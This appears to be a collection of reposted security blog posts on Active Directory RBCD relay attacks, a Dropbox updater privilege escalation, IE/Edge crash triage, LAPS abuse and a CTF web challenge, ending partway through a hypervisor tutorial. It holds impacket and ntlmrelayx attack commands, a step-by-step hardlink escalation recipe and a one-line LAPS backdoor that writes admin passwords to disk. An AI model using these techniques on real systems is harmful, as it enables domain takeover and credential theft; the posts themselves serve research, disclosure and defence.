Resource-Based Constrained Delegation

What Is It?

Note: Microsoft is releasing an update in January 2020 that will enable LDAP channel binding & LDAP signing by default on Windows systems, remediating this potential attack vector on fully patched systems.

Starting with Windows Server 2012, objects in AD could set their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute, effectively allowing objects to set what remote objects had rights to delegate to them. This allows those remote objects with delegation rights to impersonate any account in AD to any service on the local system. Therefore, if we can convince a remote system to add an object that we control to their msDS-AllowedToActOnBehalfOfOtherIdentity attribute, we can use it to impersonate any other user not marked as ‘Account is sensitive and cannot be delegated’ on it.

When To Use:

Basically, when you’re on a network and want to get a shell on a different system on that same network segment. This attack can be ran without needing any prior credentials, as described by @_dirkjan in his blog here: https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/ . However, the method described does require that a domain controller in the environment is configured with LDAPS; which seems to be somewhat uncommon based on the environments I’ve tested against over the past 6 months.

I’ll focus on a secondary scenario for this attack – one where you have compromised a standard low-privilege user account (no admin rights) or a computer account, and are on a network segment with other systems you want to compromise.

Process Walkthrough:

To begin with, what this attack really needs is *some* sort of account that is configured with an SPN. This can be a computer account, a user account that is already configured with an SPN, or can be a computer account we create using a non-privileged user account by taking advantage of a default MachineAccountQuota configuration (https://blog.netspi.com/machineaccountquota-is-useful-sometimes/). We need an account that is configured with an SPN as this is a requirement if we want the TGS produced by S4U2Self to be forward-able (Read more why this is necessary here: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#a-misunderstood-feature-1). Computer accounts work as by default they are configured with a variety of SPN’s for all their various Kerberos-enabled services.
So, in our example let’s say we only have a low privilege account (we’ll use the ‘tim’ account).

The first step in the process would be to try and create a computer account, so that we could gain control of an account configured with SPN’s. To do this, we’ll use a relatively new impacket example script – addcomputer.py. This script has a SAMR option to add a new computer, which functions over SMB and uses the same mechanism as when a new computer is added to a domain using the Windows GUI.

addcomputer.py -method SAMR -computer-pass MADE_UP_PASSWORD -computer-name MADE_UP_NAME DOMAIN/USER:PASSWORD

After running this command, your new computer object will be added to AD (Note: this example script was not fully working for me in python2.7 – the computer object was added but its password was not being appropriately set. It does work using Python3.6 though.)

This script was released fairly recently, prior to it I used PowerMad.ps1 from a Windows VM to perform the same actions. This tool uses a standard LDAP connection vs. SAMR, but the end result is the same. For further info on PowerMad I recommend the following: https://github.com/Kevin-Robertson/Powermad
If this part of the attack didn’t work, the default MachineAccountQuota has likely been changed for users in the environment. In that case you’ll need to use alternative methods to obtain a computer account / user account configured with an SPN. However, once you have that, you can continue to proceed as described below.
For the next part of the attack we’ll be using mitm6 + ntlmrelayx. Unlike a traditional NTLM relay attack, really what we’re interested in is intercepting machine account hashes, as we can forward them to LDAP on a domain controller. This allows us to impersonate the relayed computer account and set its msDS-AllowedToActOnBehalfOfOtherIdentity attribute to include the computer object that we control. Note: We unfortunately can’t relay SMB to LDAP due to the NTLMSSP_NEGOTIATE_SIGN flag set on SMB traffic, so will be focusing on intercepting HTTP traffic, such as windows update requests.
We’ll first set up ntlmrelayx to delegate access to the computer account we just made & have control of (rbcdTest):

ntlmrelayx.py -wh WPAD_Host --delegate-access --escalate-user YOUR_COMPUTER_ACCOUNT\$ -t ldap://DOMAIN_CONTROLLER

We next start a relay attack using mitm6.py or other relay tool, and wait for requests to start coming in. Eventually you should see something that looks like the following:

In the above screenshot we can see that we successfully relayed the incoming auth request made by the server02$ account to LDAP on the domain controller and modified the object’s privileges to give rbcdTest$ impersonation rights on the system.
Once we have delegation rights, the rest of the attack is fairly straightforward. We’ll use another impacket tool – getST.py – to create the TGS necessary to connect to Server02 using an impersonated identity.
This tool will get us a Kerberos service ticket (TGS) that is valid for a selected service on the remote system we relayed to LDAP (Server02). As the rbcdTest$ account has delegation rights on this system, we are able to impersonate any user that we want, in this case choosing to impersonate ‘administrator’, a domain admin on the testlab.local network.

getST.py -spn cifs/Server_You_Relayed_To_Get_RBCD_Rights_On -impersonate TARGET_ACCOUNT  DOMAIN/YOUR_CREATED_COMPUTER_ACCOUNT\$:PASSWORD

With the valid ticket saved to disk, all we need to do is export it to memory, which will then allow us to remotely connect to the remote system with administrative privileges:

20.12.201920.12.2019

From dropbox(updater) to NT AUTHORITY\SYSTEM

Original text by @decoder_it

Hardlinks again! Yes, there are plenty of opportunities to raise your privileges due to incorrect permissions settings when combined with hardlinks in many softwares (MS included)

In this post I’m going to show how to use the DropBoxUpdater service in order to get SYSTEM privileges starting from a simple Windows user. I found and exploited this “vulnerability” along with my usual “business partner” @padovah4ck.

Please note: I’m not going to release any source code, my goal is to share knowledge, not tools.

The DropBoxUpdater is part of the Dropbox Client Software suite, and according to the Software manufacturer, it is used for keeping the client up-to-date:

The updater is installed as a service and 2 scheduled tasks, and to be honest, I really don’t know why… but let’s go on. Keep in mind that in standard installations they run as SYSTEM and one of the dropboxupdate task is run every hour by the task scheduler.

Each time dropboxupdate is triggered, it writes log files in this directory:

c:\ProgramData\Dropbox\Update\Log

Permissions are the following:

As you can see, users can add file in this directory.

Logfiles have a special format:

And the file naming convention is:
DropboxUpdate.log-<YYYY>-<MM>-<DD>-<HH>-<MM>-<SEC>-<MILLISEC>-<PID>

Users can overwrite and delete these files:

Even more interesting is a SetSecurity call made by SYSTEM on these files:

Seems familiar, isn’t it? If you read my previous post, you already know that this is exploitable via “hardlinks”

But we have a problem here, we have to “guess” the logfile name, that is the exact time (including milliseconds) and the PID of the updater process

Seems challenging!

After some testing we found this solution:

Be sure that no process “DropBoxUpdate.exe” is running (as standard user:
c:\>tasklist | find /I “dropboxupdate”)
Intercept the DropBoxUdate.exe process upon startup by setting an opportunistic
exclusive lock on the following DLL:
- C:\Program Files(x86)\Dropbox\Update\1.3.241.1\goopdate.dll
The process will hang and the user defined callback function will be triggered
Find the PID of the dropboxupdate process
Perform an “hardlink spraying” by creating 999 links with the naming convention
mentioned before, starting from the current time (hhmmss) + 10 seconds (timeA).
All these links are pointing to destination file we want to own. It is possible to set at
maximum of 1024 hardlinks to a file.
Wait until current time (hhmmss) is equal to timeA
Release the oplock
If everything works fine, we should match the correct file name in the range of 999 milliseconds.

Will it work? We have just to try it out, with the classic license.rtf located in System32 folder. For testing purpose, you can directly invoke the scheduled task with admin rights instead of waiting the next hourly run.

Wow! It worked. Now you could overwrite any file where SYSTEM has full control.. and gain the highest privileges!

But let’s go a step further… would it be possible to rely only on Dropbox Client software to gain a SYSTEM shell?

Yes, of course! Remember the second scheduled task?

The task runs with SYSTEM privileges and is also triggered at the logon of any user. During our test we noticed that during the logon, the DropboxCrashHandler.exe was also invoked (only if no other dropboxupdate process is running in other sessions):

So what was our idea? Set DropboxCrashHandler.exe as target file, launch the exploit, overwrite the file with our “malicious” executable, logoff, logon again and our executable should be triggered!

Here you can watch the working POC. I presume that there are other possible escalation paths, it’s left up to you

BOUNDARY CONDITIONS

Dropbox has to be installed in “standard” way, with admin rights
We tested it with the latest Windows Dropbox Client release (87.4.138 at the time of writing)

DISCLOSURE TIMELINE

We informed Dropbox about this issue on September, 18th. They answered that they were aware about the issue (but not with these techniques and complete escalation paths) and would fix it before the end of October. Since 90 days have passed before initial submission, I published the post.

POSSIBLE COUNTERMEASURES

Waiting for the new (hopefully patched) release, meantime you could remove the “Create files” / write data” and the “Create folders /append data” permissions for “Users” on the Log folder and you should be fine

SIDE NOTE

Generic hardlink “abuse” will no more work in future releases of Windows. In the latest “Insider” previews, MS has added some supplementary checks, so if you don’t have write access to the destination file you get an access denied error when you try to create a hardlink.

20.02.201920.02.2019

Triaging the exploitability of IE/EDGE crashes

Original text by swiat

Introduction

Both Internet Explorer (IE) and Edge have seen significant changes in order to help protect customers from security threats. This work has featured a number of mitigations that together have not only rendered classes of vulnerabilities not-exploitable, but also dramatically raised the cost for attackers to develop a working exploit.

Because of these changes, determining the exploitability of crashes has become increasingly complicated, as the effect of these mitigations must be taken into account during analysis. We have received a number of requests from the security community for clarification on how these mitigations affect exploitability. To ensure that only valid issues are submitted, we thought it may be useful to offer some guidance.

Use after free mitigations

Use-after-free (UAF) is a common type of vulnerability in modern object-orientated software. They are caused when an instance of an object is freed while a pointer to the object is still kept by the program. Since the object instance has been freed, this pointer is dangling, pointing to unmapped memory. Such a vulnerability is exploitable when the unmapped memory is controllable by an attacker, and will be used when the dangling pointer is later dereferenced by the program. We can split UAF vulnerabilities into 3 classes based upon where the dangling pointer is stored: the stack, heap, and the registers.

We have developed two primary mitigations to protect against UAFs:

Memory Protector (MP) [IE10 and below]

MP is designed to protect objects against UAFs where the reference is stored on the stack, or in a register.

MemGC [Edge & IE11]

MemGC is a new replacement for MP, currently enabled on Edge and IE11. Protected objects are only freed when no references exist on the stack, heap or registers, offering complete coverage.

Exploitability & Servicing

MemGC [Edge & IE11]

We consider UAFs that are addressed by MemGC strongly mitigated, and will not issue a security update for them.
The only exception for this are rare cases where zero writing the object leads to an exploitable state, although we have yet to see an occurrence of this.

Memory Protector [IE10 and below]

We consider stack and register based UAFs strongly mitigated and will not issue a security update for them, except in the circumstances explained below.
Heap reference based UAFs are not mitigated by MP, and so will still be addressed via a security update.

Triaging crashes

Memory protector

Memory protector (MP) is a mitigation first introduced in July 2014 initially for all supported versions of Internet Explorer, but now only applies to IE 10 and below. It is designed to mitigate a subset of use-after-free vulnerabilities, due to dangling pointers stored on the stack or the registers. At a high level, it works as follows:

When delete is called on an object instance, its contents is zero wrote, and it is placed in a queue. Once the queue has reached a threshold size, we then begin the process of seeing if it is safe to free each object instance in the queue.
To test to see if it is safe to free an object instance, we scan both the registers and all pointer aligned stack entries to see if there exists a pointer to the object. If no pointer is found then the object is freed, otherwise the object is kept in the queue.

Part (1) of the algorithm delays the potential freeing of the object to a later point in time, is controllable by an attacker, and as such is not considered a security mitigation.

To make it easier to determine the exploitability of these issues, MP has a mode called “Stress Mode”. Under this mode the delayed free component (1) of MP is disabled: stack/register scanning happens on every free, rather than when the queue has reached a threshold length. It can be enabled with the registry key:

HKLM:/Software/Microsoft/Internet Explorer/Main/Feature Control/FEATURE_MEMPROTECT_MODE/iexplore.exe DWORD 2

(note that this key, and “Stress Mode” are only applicable to MP, not MemGC).

Example crash

With the delayed free component of MP now disabled by forcing the object instance to be freed at the earliest possible instant, we can now concentrate on determining exploitability, based on Part (2), as shown by an illustrative example below:

In this case, we have a use-after-free vulnerability causing a near-null dereference. Tracing backwards, we can see that the value of eax was set a few instructions previously:

If we look at this object in memory, we see that has been zero wrote, and by checking the PageHeap End Magic we can see that this heap chunk is still allocated under Stress Mode:

Now we need to see if there are any stack references to this object instance, starting at the call frame when delete was called. This can be completed using windbg scripting: for example, scanning for references to an object with base address stored in ebx with size 0x30:

Checking stack reference locations with MP

In this case, we find a single reference to the object instance on the stack. With this information we must now check to see which call frame contains this reference.

Here, we show an example call stack at the point when the object is deleted:

If there is a reference to an object instance on the stack or registers, then MP will never free the object instance. Thus, if between the point delete is first called in frame_2 until the point when we crash with a near null dereference in frame_5 there is always a stack reference, the object instance cannot be freed and reallocated/controlled by an attacker.

In this example, the reference we found by scanning the stack (at 0x1024ae9c) is stored in frame_8. Since this reference is present all of the time between the freeing point in frame_2 and the crashing point in frame_8, we consider this case as not-exploitable since it is strongly mitigated by MP.

Two other main situations can also occur:

If (for example) the stack reference was in frame_3 rather than frame_8, then there is a period between the freeing of the object and the crashing point when there are no stack references. This case may be exploitable since if the code path between these points can be slightly altered to force another call to delete, we will be left with an exploitable situation.
When running under stress mode, the crash may now occur on a freed block since the delayed free component is disabled (usually due to the reference being stored on the heap). Under this circumstance, the case would be generally exploitable.

MemGC

MemGC is a new replacement for MP, currently available in Edge and all supported versions of IE11, and mitigates use-after-free vulnerabilities in a similar fashion as MP. However, it also offers additional protection by scanning the heap for references to protected object types, as well as the stack and registers. MemGC will zero write upon free and will delay the actual free until garbage collection is triggered and no references to the freed object are found.

Just like MP, mitigated use-after-free vulnerabilities will most likely result in a near-null pointer dereferences or occasionally in no crash at all. If you suspect that a near-null pointer dereference is actually a mitigated use-after-free vulnerability you can verify this with the following steps:

Find the position where the near-null value is read, determining the base pointer of the object:

If we dump the object, we can see that it has been zero wrote as before:

Trace back and find the allocation call stack for this chunk, using the base pointer that was found in the first step. If the object is allocated with edgehtml!MemoryProtection::HeapAlloc() or edgehtml!MemoryProtection::HeapAllocClear() it means that the object is tracked by MemGC e.g.

Similarly, when the object is freed, it will be via edgehtml!MemoryProtection::HeapFree() e.g.

To double check that the issue is successfully mitigated, we can scan for references to the object on both the heap and stack.

For scanning the stack, we can use the same technique as described in the Memory Protector section. We can then use the same criteria as described above to determine exploitability; if there exists a stack reference between the freeing point and crashing point, we consider it strongly mitigated by MemGC.

When scanning the heap, we use a similar method, by first scanning the heap for references with values between the base pointer and basepointer+object_size of the object we are interested in. If any references are found, we then just need to check to see what objects they are associated with. If the object containing the reference is also tracked by MemGC (i.e. allocated via HeapAlloc() or HeapAllocClear()), then MemGC will not free the object we are interested in, so we consider it strongly mitigated by MemGC.

In this example, if we use the stack scanning command from above, we see that there is a reference on the stack preventing the object from being freed between the deletion and crashing points, making it successfully mitigated by MemGC.

Conclusions

In conclusion these new mitigations dramatically enhance the security by making sets of use-after-free vulnerabilities non-exploitable. When triaging issues in both IE & Edge, the behavior of these mitigations needs to be taken into account in order to determine the exploitability of these issues.

Acknowledgments

We would like to thank the following people for their contribution to this post:

Chris Betz, Crispin Cowan, John Hazen, Gavin Thomas, Marek Zmyslowski, Matt Miller, Mechele Gruhn, Michael Plucinski, Nicolas Joly, Phil Cupp, Sermet Iskin, Shawn Richardson and Suha Can

—

Stephen Fleming & Richard van Eeden. MSRC Engineering, Vulnerabilities & Mitigations Team.

11.02.201911.02.2019

Malicious use of Microsoft LAPS

Original text by Akijosberry

LAPS Overview:

LAPS (Local Administrator Password Solution) is a tool for managing local administrator passwords for domain joined computers. It stores passwords/secrets in a confidential attribute in the computer’s corresponding active directory object. LAPS eliminates the risk of lateral movement by generating random passwords of local administrators. LAPS solution is a Group Policy Client Side Extension (CSE) which is installed on all managed machines to perform all management tasks.

Domain administrators and anyone who has full control on computer objects in AD can read and write both pieces of information (i.e., password and expiration timestamp). Password’s stored in AD is protected by ACL, it is up to the sysadmins to define who can and who cannot read the attributes. When transferred over the network, both password and time stamp are encrypted by kerberos and when stored in AD both password and time stamp are stored in clear text.

Components of LAPS:

Agent – Group Policy Client Extension(CSE)
- Event Logging and Random password generation
PowerShell Module
- Solution configuration
Active Directory
- Computer Object, Confidential attribute, Audit trail in security log of domain controller

Reconnaissance:

Firstly, we will identify whether LAPS solution has been installed on the machine which we had gained a foothold. We will leverage powershell cmdlet to identify if the admpwd.dll exist or not.

1	`Get-ChildItem` `‘c:\program files\LAPS\CSE\Admpwd.dll’`

The very next step would be identifying who has read access to ms-Mcs-AdmPwd. we can use Powerviewfor identifying users having read access to ms-Mcs-AdmPwd

12345 Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs |Where-Object {($_.ObjectType -like 'ms-Mcs-AdmPwd') -and($_.ActiveDirectoryRights -match 'ReadProperty')}

If RSAT(Remote Server Administration Tools) is enabled on the victim machine, then there is an interesting way of identifying user’s having access to ms-Mcs-AdmPwd. we can simply fire the command:

1	`dsacls.exe` `'Path to the AD DS Object'`

Dumping LAPS password:

Once you have identified the user’s who has read access to ms-Mcs-AdmPwd, the next thing would be compromising those user accounts and then dumping LAPS password in clear text.

I already did a blog post on ‘Dump LAPS password in clear text‘ and would highly encourage readers to have look at that post as well.

Tip: It is highly recommended to provide ms-Mcs-AdmPwd read access to only those who actually manage those computer objects and remove unwanted users from having read access.

Poisoning AdmPwd.dll:

Most of the previous research/attacks are focused on the server side (i.e., looking for accounts who can read the passwords) not on the client side. Microsoft’s LAPS is a client side extension which runs a single dll that manages password (admpwd.dll).

LAPS was based on open source solution called “AdmPwd” developed by Jiri Formacek and is a part of microsoft product portfolio since may 2015. The LAPS solution does not have integrity checks or signature verification for dll file. AdmPwd solution is compatible with Microsoft’s LAPS, so let’s poison the dll by compiling the project from source and replace it with the original dll. To replace the original dll administrative privilege is required and at this point we assume the user already has gained administrator privilege by LPE or any other means.

Now let’s add these 3-4 lines in the AdmPwd solution and compile the malicious dll. These lines will be added where the new password and time stamp would be reported to the AD.

1234	`wofstream backdoor;backdoor.open("c:\\backdoor.txt");backdoor << newPwd;backdoor.close();`

In this way adversary will appear normal, passwords would be synced and will also comply with LAPS policy.

BONUS: Persistence of clear text password *

*Persistence till the time poisoned dll is unchanged.

Dectection/Prevention:

Validate the Integrity/Signature of admpwd.dll
File Integrity Monitoring (FIM) policy can be created to monitor and changes/modification to the dll.
Application whitelisting can be applied to detect/prevent poisoning.
Increase LAPS logging level by setting the registry value to 2 (Verbose mode, Log everything):
HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\GPExtensions\{D76B9641-3288-4f75-942D-087DE603E3EA}\ExtensionDebugLevel

Note: Above methods are just my ramblings, I am not sure whether some of these would detect or prevent.

Modifying searchFlags attribute:

The attribute of our interest is ms-Mcs-AdmPwd which is a confidential attribute.Let’s first identify searchFlags attribute of ms-Mcs-AdmPwd. We will be using active directory PS module.

The searchFlags attribute value is 904 (0x388). From this value we need to remove the 7th bit which is the confidential attribute. CF which is the 7 th bit (0x00000080) ie., After removing the confidential value(0x388-0x80) the new value is 0x308 ie., 776. We will leverage DC Shadow attack to modify the searchFlags attribute.

Detection/Prevention:

Anything which detects DC Shadow attack eg.,ALSID Team’s powershell script. ( It detects using the “LDAP_SERVER_NOTIFICATION_OID” and tracks what changes are registered in the AD infrastructure).
Microsoft ATA also detects malicious replications.
It can also be detected by comparing the metadata of the searchFlags attribute or even looking at the LocalChangeUSN which is inconsistent with searchFlags attribute.

Note: In my lab setup when i removed the confidential attribute from one DC it gets replicated to other DC’s as well (i.e., searchFlags attribute value 776 gets replicated to other DC’s). Another thing i noticed is after every change the SerachFlags version gets increased but in my lab setup it was not increasing after 10. If you find something different do let me know.

References:

https://technet.microsoft.com/en-us/mt227395.aspx

https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

Dump LAPS password in clear text

https://github.com/GreyCorbel/admpwd

https://rastamouse.me/2018/03/laps—part-2/

http://adds-security.blogspot.com/2018/08/mise-en-place-dune-backdoor-laps-via.html

https://msdn.microsoft.com/en-us/library/cc223153.aspx

https://github.com/AlsidOfficial/UncoverDCShadow

03.02.201903.02.2019

Insomni’Hack Teaser 2019 — exploit-space

Original text by @Ghostx_0

CTF URL: https://teaser.insomnihack.ch/

Solves: 7 / Points: 500 / Category: Web

Challenge description

We have created a little exploit space and made it accessible for everyone! Have fun! You can get your own exploit space here.

Challenge resolution

This challenge was the most realistic yet fun web challenge of this Insomni’Hack teaser, as it presented nothing less than an installation of the ResourceSpace open source digital asset management software.

The first step, like for any challenge, was the reconnaissance phase.

As indicated in the commented HTML code, the installed version of the ResourceSpace was the version 8.6.12117:

This software being open source, we can audit its source code in order to find vulnerabilities we can exploit.

We can then look at the Git commits logs to find juicy commit messages like this one:

Looking at the diff view for this commit, reveals the vulnerable entry point in the “/plugins/pdf_split/pages/pdf_split.php” page being passed to the run_command() function:

The fix introduced by this commit just sanitizes the user inputs by applying the escapeshellarg() function:

Using the semi-colon character thus completes the comnand line, allowing us to execute arbitrary commands on the web server. However, as we don’t have a direct visible output, we need to use an HTTP server such as the Burp collaborator listening for incomming requests.

The following POST request uses the curl binary in order to send the result of the whoami command to our web server:

Immediately after, we see the result of our command in our Burp collaborator interactions panel:

The final step is to locate and get the flag:

Wait… What? There’s a captcha that prevents non-interactive access:

We actually need to obtain an interactive reverse shell on this server.

To do so we can download the netcat binary from our web server using curl, add execution permission and run it:

As expected, the web server just connects back to our server, therefore providing us with an interactive reverse shell:

And finally we can solve the captcha and get the flag:

17.12.201817.12.2018

Hypervisor From Scratch – Part 5: Setting up VMCS & Running Guest Code

( Original text by Sinaei )

Introduction

Hello and welcome back to the fifth part of the “Hypervisor From Scratch” tutorial series. Today we will be configuring our previously allocated Virtual Machine Control Structure (VMCS) and in the last, we execute VMLAUNCH and enter to our hardware-virtualized world! Before reading the rest of this part, you have to read the previous parts as they are really dependent.

The full source code of this tutorial is available on GitHub :

[https://github.com/SinaKarvandi/Hypervisor-From-Scratch]

Most of this topic derived from Chapter 24 – (VIRTUAL MACHINE CONTROL STRUCTURES) & Chapter 26 – (VM ENTRIES) available at Intel 64 and IA-32 architectures software developer’s manual combined volumes 3. Of course, for more information, you can read the manual as well.

Introduction
Table of contents
VMX Instructions
- VMPTRST
- VMCLEAR
- VMPTRLD
Enhancing VM State Structure
Preparing to launch VM
VMX Configurations
Saving a return point
Returning to the previous state
VMLAUNCH
VMX Controls
- VM-Execution Controls
- VM-entry Control Bits
- VM-exit Control Bits
- PIN-Based Execution Control
- Interruptibility State
Configuring VMCS
- Gathering Machine state for VMCS
- Setting up VMCS
- Checking VMCS Layout
VM-Exit Handler
- Resume to next instruction
VMRESUME
Let’s Test it!
Conclusion
References

This part is highly inspired from Hypervisor For Beginner and some of methods are exactly like what implemented in that project.

VMX Instructions

In part 3, we implemented VMXOFF function now let’s implement other VMX instructions function. I also make some changes in calling VMXON and VMPTRLD functions to make it more modular.

VMPTRST

VMPTRST stores the current-VMCS pointer into a specified memory address. The operand of this instruction is always 64 bits and it’s always a location in memory.

The following function is the implementation of VMPTRST:

12345678910

UINT64 VMPTRST(){ PHYSICAL_ADDRESS vmcspa; vmcspa.QuadPart = 0; __vmx_vmptrst((unsigned __int64 *)&vmcspa); DbgPrint(«[*] VMPTRST %llx\n», vmcspa); return 0;}

VMCLER

This instruction applies to the VMCS which VMCS region resides at the physical address contained in the instruction operand. The instruction ensures that VMCS data for that VMCS (some of these data may be currently maintained on the processor) are copied to the VMCS region in memory. It also initializes some parts of the VMCS region (for example, it sets the launch state of that VMCS to clear).

123456789101112131415

BOOLEAN Clear_VMCS_State(IN PVirtualMachineState vmState) { // Clear the state of the VMCS to inactive int status = __vmx_vmclear(&vmState->VMCS_REGION); DbgPrint(«[*] VMCS VMCLAEAR Status is : %d\n», status); if (status) { // Otherwise terminate the VMX DbgPrint(«[*] VMCS failed to clear with status %d\n», status); __vmx_off(); return FALSE; } return TRUE;}

VMPTRLD

It marks the current-VMCS pointer valid and loads it with the physical address in the instruction operand. The instruction fails if its operand is not properly aligned, sets unsupported physical-address bits, or is equal to the VMXON pointer. In addition, the instruction fails if the 32 bits in memory referenced by the operand do not match the VMCS revision identifier supported by this processor.

12345678910

BOOLEAN Load_VMCS(IN PVirtualMachineState vmState) { int status = __vmx_vmptrld(&vmState->VMCS_REGION); if (status) { DbgPrint(«[*] VMCS failed with status %d\n», status); return FALSE; } return TRUE;}

In order to implement VMRESUME you need to know about some VMCS fields so the implementation of VMRESUME is after we implement VMLAUNCH. (Later in this topic)

Enhancing VM State Structure

As I told you in earlier parts, we need a structure to save the state of our virtual machine in each core separately. The following structure is used in the newest version of our hypervisor, each field will be described in the rest of this topic.

123456789

typedef struct _VirtualMachineState{ UINT64 VMXON_REGION; // VMXON region UINT64 VMCS_REGION; // VMCS region UINT64 EPTP; // Extended-Page-Table Pointer UINT64 VMM_Stack; // Stack for VMM in VM-Exit State UINT64 MSRBitMap; // MSRBitMap Virtual Address UINT64 MSRBitMapPhysical; // MSRBitMap Physical Address} VirtualMachineState, *PVirtualMachineState;

Note that its not the final _VirtualMachineState structure and we’ll enhance it in future parts.

Preparing to launch VM

In this part, we’re just trying to test our hypervisor in our driver, in the future parts we add some user-mode interactions with our driver so let’s start with modifying our DriverEntry as it’s the first function that executes when our driver is loaded.

Below all the preparation from Part 2, we add the following lines to use our Part 4 (EPT) structures :

123	// Initiating EPTP and VMX PEPTP EPTP = Initialize_EPTP(); Initiate_VMX();

I added an export to a global variable called “VirtualGuestMemoryAddress” that holds the address of where our guest code starts.

Now let’s fill our allocated pages with \xf4 which stands for HLT instruction. I choose HLT because with some special configuration (described below) it’ll cause VM-Exit and return the code to the Host handler.

Let’s create a function which is responsible for running our virtual machine on a specific core.

1	void LaunchVM(int ProcessorID , PEPTP EPTP);

I set the ProcessorID to 0, so we’re in the 0th logical processor.

Keep in mind that every logical core has its own VMCS and if you want your guest code to run in other logical processor, you should configure them separately.

Now we should set the affinity to the specific logical processor using Windows KeSetSystemAffinityThread function and make sure to choose the specific core’s vmState as each core has its own separate VMXON and VMCS region.

1234567

KAFFINITY kAffinityMask; kAffinityMask = ipow(2, ProcessorID); KeSetSystemAffinityThread(kAffinityMask); DbgPrint(«[*]\t\tCurrent thread is executing in %d th logical processor.\n», ProcessorID); PAGED_CODE();

Now, we should allocate a specific stack so that every time a VM-Exit occurs then we can save the registers and calling other Host functions.

I prefer to allocate a separate location for stack instead of using current RSP of the driver but you can use current stack (RSP) too.

The following lines are for allocating and zeroing the stack of our VM-Exit handler.

12345678910

// Allocate stack for the VM Exit Handler. UINT64 VMM_STACK_VA = ExAllocatePoolWithTag(NonPagedPool, VMM_STACK_SIZE, POOLTAG); vmState[ProcessorID].VMM_Stack = VMM_STACK_VA; if (vmState[ProcessorID].VMM_Stack == NULL) { DbgPrint(«[*] Error in allocating VMM Stack.\n»); return; } RtlZeroMemory(vmState[ProcessorID].VMM_Stack, VMM_STACK_SIZE);

Same as above, allocating a page for MSR Bitmap and adding it to vmState, I’ll describe about them later in this topic.

1234567891011

// Allocate memory for MSRBitMap vmState[ProcessorID].MSRBitMap = MmAllocateNonCachedMemory(PAGE_SIZE); // should be aligned if (vmState[ProcessorID].MSRBitMap == NULL) { DbgPrint(«[*] Error in allocating MSRBitMap.\n»); return; } RtlZeroMemory(vmState[ProcessorID].MSRBitMap, PAGE_SIZE); vmState[ProcessorID].MSRBitMapPhysical = VirtualAddress_to_PhysicalAddress(vmState[ProcessorID].MSRBitMap);

Now it’s time to clear our VMCS state and load it as the current VMCS in the specific processor (in our case the 0th logical processor).

The Clear_VMCS_State and Load_VMCS are described above :

123456789101112

// Clear the VMCS State if (!Clear_VMCS_State(&vmState[ProcessorID])) { goto ErrorReturn; } // Load VMCS (Set the Current VMCS) if (!Load_VMCS(&vmState[ProcessorID])) { goto ErrorReturn; }

Now it’s time to setup VMCS, A detailed explanation of VMCS setup is available later in this topic.

1234	DbgPrint(«[*] Setting up VMCS.\n»); Setup_VMCS(&vmState[ProcessorID], EPTP);

The last step is to execute the VMLAUNCH but we shouldn’t forget about saving the current state of the stack (RSP & RBP) because during the execution of Guest code and after returning from VM-Exit, we have to now the current state and return from it. It’s because if you leave the driver with wrong RSP & RBP then you definitely see a BSOD.

12	Save_VMXOFF_State();

Saving a return point

For Save_VMXOFF_State() , I declared two global variables called g_StackPointerForReturning, g_BasePointerForReturning. No need to save RIP as the return address is always available in the stack. Just EXTERN it in the assembly file :

123	EXTERN g_StackPointerForReturning:QWORDEXTERN g_BasePointerForReturning:QWORD

The implementation of Save_VMXOFF_State :

123456

Save_VMXOFF_State PROC PUBLICMOV g_StackPointerForReturning,rspMOV g_BasePointerForReturning,rbpret Save_VMXOFF_State ENDP

Returning to the previous state

As we saved the current state, if we want to return to the previous state, we have to restore RSP & RBP and clear the stack position and eventually a RET instruction. (I Also add a VMXOFF because it should be executed before return.)

123456789101112131415161718192021222324

Restore_To_VMXOFF_State PROC PUBLIC VMXOFF ; turn it off before existing MOV rsp, g_StackPointerForReturningMOV rbp, g_BasePointerForReturning ; make rsp point to a correct return pointADD rsp,8 ; return Truexor rax,raxmov rax,1 ; return section mov rbx, [rsp+28h+8h]mov rsi, [rsp+28h+10h]add rsp, 020hpop rdi ret Restore_To_VMXOFF_State ENDP

The “return section” is defined like this because I saw the return section of LaunchVM in IDA Pro.

One important thing that can’t be easily ignored from the above picture is I have such a gorgeous, magnificent & super beautiful IDA PRO theme. I always proud of myself for choosing themes like this !

VMLAUNCH

Now it’s time to executed the VMLAUNCH.

12345678910

__vmx_vmlaunch(); // if VMLAUNCH succeed will never be here ! ULONG64 ErrorCode = 0; __vmx_vmread(VM_INSTRUCTION_ERROR, &ErrorCode); __vmx_off(); DbgPrint(«[*] VMLAUNCH Error : 0x%llx\n», ErrorCode); DbgBreakPoint();

As the comment describes, if we VMLAUNCH succeed we’ll never execute the other lines. If there is an error in the state of VMCS (which is a common problem) then we have to run VMREAD and read the error code from VM_INSTRUCTION_ERROR field of VMCS, also VMXOFF and print the error. DbgBreakPoint is just a debug breakpoint (int 3) and it can be useful only if you’re working with a remote kernel Windbg Debugger. It’s clear that you can’t test it in your system because executing a cc in the kernel will freeze your system as long as there is no debugger to catch it so it’s highly recommended to create a remote Kernel Debugging machine and test your codes.

Also, It can’t be tested on a remote VMWare debugging (and other virtual machine debugging tools) because nested VMX is not supported in current Intel processors.

Remember we’re still in LaunchVM function and __vmx_vmlaunch() is the intrinsic function for VMLAUNCH & __vmx_vmread is for VMREAD instruction.

Now it’s time to read some theories before configuring VMCS.

VMX Controls

VM-Execution Controls

In order to control our guest features, we have to set some fields in our VMCS. The following tables represent the Primary Processor-Based VM-Execution Controls and Secondary Processor-Based VM-Execution Controls.

We define the above table like this:

123456789101112131415161718192021

